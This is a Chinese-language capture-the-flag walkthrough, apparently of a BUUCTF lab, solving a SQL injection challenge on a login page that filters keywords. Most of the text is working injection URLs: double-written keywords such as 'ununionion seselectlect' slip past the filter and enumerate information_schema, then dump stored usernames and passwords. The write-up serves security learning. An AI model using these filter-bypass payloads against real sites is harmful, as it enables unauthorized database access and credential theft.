打开靶机
来了个加强版本的sql注入,不过我们先输入账号密码看有什么反应
整一手万能密码,闭合双引号?username=admin' or '1'='1%23&password=123
然后报错了,说密码错误,然后我们重新构造我们试着查看字段?username=admin&password=123' order by 3
我们可以看到order by 3 变成了der 3,可见其对or和by字段进行了过滤
因此我们可以通过构造双写绕过其对字段的过滤,若想对双写绕过有更多了解,请看这篇博客:双写绕过的原理_wxyccc的博客-CSDN博客_双写绕过
?username=admin' oorr '1'='1%23&password=123
出来了加密的密码,但是没什么卵用,我们继续思考,开始测字段,这里我测试了很多order by 3的双写发现,order,by,or都被过滤掉了,所以我们需要换一种方式来测字段
发现order,by,or都被过滤掉了,我们使用 union select 1,2,3,4 union select 1,2,3 来测试
发现union select字段也被过滤了
可以看到,union,select,也被过滤掉了,我们双写绕过试试
,
http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php?username=admin' ununionion seselectlect 1,2,3,4 %23&password=123
终于不被过滤了但字段不是4,继续试
http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php?username=admin' ununionion seselectlect 1,2,3 %23&password=123
确认为3
确认了,是3个字段,我们查看回显点;
1 http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php 2 ?username=1' ununionion seselectlect 1,2,3 %23 3 &password=123
发现回显点是2,3;我们查看数据库名字和版本;
1 http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php 2 ?username=1' ununionion seselectlect 1,database(),version()%23 3 &password=123
我们用group_concat函数查询一下表geek的字段名
1 http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php 2 ?username=1' ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23 3 &password=123
我们查询b4bsql表的字段名
1 http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php 2 ?username=1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'%23 3 &password=123
得到id,username,password
接下来注入请参考一下这篇文章:SQL报错注入攻击中的updatexml()函数_weixin_45738112的博客-CSDN博客_updatexml函数
最后我们查询字段;flag在最后,得到flag
http://b2f8fb88-255d-48ff-9ad8-5742852d1bea.node4.buuoj.cn:81/check.php ?username=1' ununionion seselectlect 1,2,group_concat(username,0x7e,passwoorrd)frfromom geek.b4bsql %23 &password=123